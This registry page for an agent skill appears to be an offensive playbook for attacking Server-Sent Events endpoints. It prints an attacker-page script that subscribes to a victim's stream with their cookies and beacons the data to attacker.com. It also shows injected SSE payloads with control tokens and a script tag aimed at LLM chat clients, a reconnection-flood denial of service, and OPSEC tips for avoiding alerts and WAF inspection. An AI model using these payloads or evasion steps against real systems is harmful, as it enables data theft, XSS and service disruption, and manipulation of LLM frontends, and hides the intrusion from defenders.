CtrlK
BlogDocsLog inGet started
Tessl Logo

api-server-sent-events

Server-Sent Events (SSE / EventSource) exploitation — origin abuse for cross-site streaming exfil, prompt-injection via SSE messages into LLM clients, retry-after token leak, fragmenting events to bypass content-type sniffers.

69

Quality

85%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

Server-Sent Events (SSE) Attack Surface

SSE is one-way (server → browser) over HTTP/1.1 or HTTP/2 with Content-Type: text/event-stream. Used by LLM chat UIs, live dashboards, progress notifications, log streamers.

Detect

curl -sk -i https://target/stream -H "Accept: text/event-stream" | head
# Look for: Content-Type: text/event-stream
# Body format:
#   id: 42
#   event: message
#   data: {"foo":"bar"}
#   (blank line ends one event)

Top bug classes

1. Cross-Origin streaming exfil (SSE doesn't enforce CORS for EventSource)

EventSource honors the Access-Control-Allow-Origin header BUT many implementations forget to set it. If a server emits a CORS-permissive header for SSE, an attacker site can subscribe with the victim's cookies:

<!-- attacker.com -->
<script>
const es = new EventSource("https://target/stream", { withCredentials: true });
es.onmessage = e => navigator.sendBeacon("https://attacker.com/x", e.data);
</script>

Often server's CORS config covers JSON endpoints but accidentally extends to SSE. Test by hitting from a third-party origin.

2. Prompt injection into LLM chat clients

Many LLM frontends consume SSE for streaming tokens. If the server doesn't sanitize, an attacker-controlled upstream can inject control tokens ([DONE], special markers) that confuse the client:

data: {"choices":[{"delta":{"content":"\u0000[DONE]"}}]}

data: {"choices":[{"delta":{"content":"<script>alert(1)</script>"}}]}

3. Reconnection token leak via Last-Event-ID

SSE allows resuming via the Last-Event-ID header. If id: lines carry session-state tokens, those tokens are sent on every reconnect — visible in HTTP access logs and to network proxies even on TLS-terminated intermediaries.

id: jwt-here-encoded
event: message
data: ...

4. Retry timing DoS

Server sets retry: 1000 on the wire. Attacker connects, instantly disconnects, repeats — server tracks reconnections in memory. Burst 10k clients → exhaustion.

5. Fragmenting events past content-type sniffers

A SSE stream with the first event being a JSON-shaped payload may be mis-classified by content-sniffers as JSON, enabling XSS in older IE/Edge. (Niche but appears in legacy integrations.)

Tooling

# curl with --no-buffer for live view
curl -sk -N https://target/stream

# Python sseclient — programmatic
python3 -c '
import sseclient, requests
r = requests.get("https://target/stream", stream=True, headers={"Accept":"text/event-stream"})
for ev in sseclient.SSEClient(r).events():
    print(ev.id, ev.event, ev.data)
'

# Burp: SSE traffic shows in Proxy → HTTP history but with "streaming" indicator;
# right-click → Send to Repeater works but won't display incremental events.

OPSEC

  • SSE connections appear as long-lived 200 OK in logs. Server-side per-connection auth is often weak — disconnect cleanly to avoid stranded connection alerts.
  • WAFs typically don't inspect SSE bodies (they exit early on Connection: keep-alive + text/event-stream).

References

  • WHATWG HTML Living Standard — Server-Sent Events section
  • "SSE Considered Harmful?" — Detectify research blog
  • LLM-frontend security writeups by simonw.net (Simon Willison) — prompt-injection-via-stream patterns
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.